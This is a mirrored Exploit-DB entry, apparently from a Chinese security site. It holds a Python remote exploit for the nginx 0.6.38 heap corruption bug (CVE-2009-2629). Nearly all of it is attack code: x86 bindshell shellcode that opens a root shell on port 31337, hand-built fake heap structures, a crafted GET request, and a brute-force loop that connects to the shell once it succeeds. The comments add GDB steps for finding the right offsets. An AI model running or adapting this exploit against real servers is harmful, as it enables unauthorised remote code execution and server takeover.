Nginx 0.6.38 – Heap Corruption

  • 作者: Aaron Conole
    日期: 2010-08-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14830/
  • #!/usr/bin/env python
    #
    # Exploit Title: nginx heap corruption
    # Date: 08/26/2010
    # Author: aaron conole <apconole@yahoo.com>
    # Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz
    # Version: <= 0.6.38, <= 0.7.61
    # Tested on: BT4R1 running nginx 0.6.38 locally
    # CVE: 2009-2629
    #
    # note: this was written and tested against BT4. This means it's an
    # intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV
    # also - only tested successfully against nginx 0.6.38
    #you'll definitely need to modify against other versions
    #
    # you'll need to know where the offset is going to land, and what the pad is
    # from that point to when you've tained execution flow.
    #
    # A quick way to find out just for verification would be to launch nginx,
    # attach GDB to the worker and target it with the exploit, setting the offset
    # to 0, or some other arbitrary value. It should crash on a piece of code which
    # resembles:
    # if (ctx->offset)
    #
    # At that point, merely dump the *r; capture the value for the data pointer
    # (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the
    # hex pointer value). That should give you a good area to test with. You might
    # want to use the range at that point and set the last octet to 00.
    #
    # NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet
    # found a "magic" combination that would cause the state machine to do
    # what I want to make the bug trigger. Once I do, you can bet BUG will be
    # replaced.
    
    #Basically, on BT4:
    #- compile
    #- edit the configuration to enable merge slashes (just insert a line above the sendpage / sendfile config option "merge_slashes off;")
    #- Launch nginx, and attach GDB to the worker
    #- Send the exploit at it with offset 0x11111111
    #- When the worker gets a sigsegv, it will be on a line which looks like "if (ctx->offset)", at that point type "p *r"
    #- In the r data structure will be a few different fields, one which is a buffer that contains "GET //../Aa0Aa1Aa2..". This buffer has an address (lets say 0x8c1d32f).
    #- Save off this address, and detach from the worker. A new one will spawn (the "manager" process will keep it going).
    #- At this point, rerun the exploit, setting the offset to 0x8c1d300 and adding the -b flag
    #- In a minute or two, you should be given the shell.
    
    import os
    import sys
    import socket
    import select
    import struct
    import time
    import urllib
    
    REQUEST_METHOD='GET '
    
    # NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures)
    NULLPTR='\x00\x00\x00\x00'
    
    # NOTE - this shellcode was shamelessly stolen from the www
    #port 31337 bindshell for /bin/sh
    SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80'
    
    # Why did I write this up this way? Because given enough time, I think I can
    # find a proper set of state change which can give me the same effect (ie: ../
    # appearing as the 3rd, 4th, and 5th characters) at a later date.
    # That's all controlled by the complex uri parsing bit, though.
    DOUBLE_SLASH='//../'
    
    BUG=DOUBLE_SLASH
    
    # taken from the metasploit pattern_create.rb
    PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4'
    
    def connect_socket(host,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
    sock.connect( (host, port) )
    except:
    return 0
    #sock.setblocking(0)
    return sock
    
    def handle_connection(sock):
    while(1):
    r, w, e = select.select( [sock, sys.stdin],
     [],
     [sock, sys.stdin] )
    for s in r:
    if s == sys.stdin:
    buf = sys.stdin.readline()
    
    try:
    if buf != '':
    sock.send(buf)
    except:
    print "Xon close?"
    return 0
    
    elif s == sock:
    try:
    buf = sock.recv(100)
    except:
    print "Xon close?"
    return 0
    if buf != '':
    sys.stdout.write(buf)
    
    def main(argv):
    argc = len(argv)
    
    if argc < 4:
    print "usage: %s <host> <port> <ctx_addr> [-b]" % (argv[0])
    print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629"
    print "[*] host = the remote host name"
    print "[*] port = the remote port"
    print "[*] ctx_addr is where the context address should begin at"
    print "[*] -b specifies a brute-force (which will start at ctx_addr"
    sys.exit(0)
    
    host = argv[1]
    port = int(argv[2])
    ctx_addr = int(argv[3],16)
    
    brute_flag = 0
    if(argc == 5):
    brute_flag = 1
    
    testing = 1
    
    print "[*] target: %s:%d" % (host, port)
    
    try:
    sd = urllib.urlopen("http://%s:%d" % (host, port))
    sd.close()
    except IOError, errmsg:
    print "[*] error: %s" % (errmsg)
    sys.exit(1)
    
    print "[*] sending exploit string to %s:%d" % (host, port)
    
    while(testing):
    
    CTX_ADDRESS = struct.pack('<L',ctx_addr)
    CTX_OUT_ADDRESS = struct.pack('<L', ctx_addr-60)
    POOL_ADDRESS = struct.pack('<L',ctx_addr+56)
    DATA_ADDRESS = struct.pack('<L',ctx_addr+86)
    RANGE_ADDRESS = struct.pack('<L',ctx_addr+124)
    SHELL_ADDRESS = struct.pack('<L',ctx_addr+128)
    
    #PADDING
    SHELLCODE=PATTERN[:67]
    
    #the output context structure
    SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS
    
    #Magic
    SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR
    
    #this is the context object - some null ptrs, then we set range, then
    #pool address
    SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'\x01\x00\x00\x00'
    SHELLCODE+=NULLPTR*2+POOL_ADDRESS
    
    #this is the data buffer object
    SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR
    
    #this is the pool memory structure ..
    SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR
    
    # this is the range structure
    SHELLCODE+='\xff\xff\xff\xff'+NULLPTR*3
    
    SHELLCODE+=SHELL
    
    payload = REQUEST_METHOD
    payload += BUG
    payload += SHELLCODE
    payload += ' HTTP/1.0\r\n\r\n'
    
    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    sd.send(payload)
    sd.close()
    
    if (brute_flag):
    nsock = connect_socket(host,31337)
    if nsock != 0:
    print "[*] Successful Exploit via buffer: %x" % (ctx_addr)
    testing = 0
    handle_connection(nsock)
    else:
    ctx_addr = ctx_addr + 1
    else:
    testing = 0
    print "[*] FIN."
    
    if __name__ == "__main__":
    main(sys.argv)
    sys.exit(0)
    
    # EOF